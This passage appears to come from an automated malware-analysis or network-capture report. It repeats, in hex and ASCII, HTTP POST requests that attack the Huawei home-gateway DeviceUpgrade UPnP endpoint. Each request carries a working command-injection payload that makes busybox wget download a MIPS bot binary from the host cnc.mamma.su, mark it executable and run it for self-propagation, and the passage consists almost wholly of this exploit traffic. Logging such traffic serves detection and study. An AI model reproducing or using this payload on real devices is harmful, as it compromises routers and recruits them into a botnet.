6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l 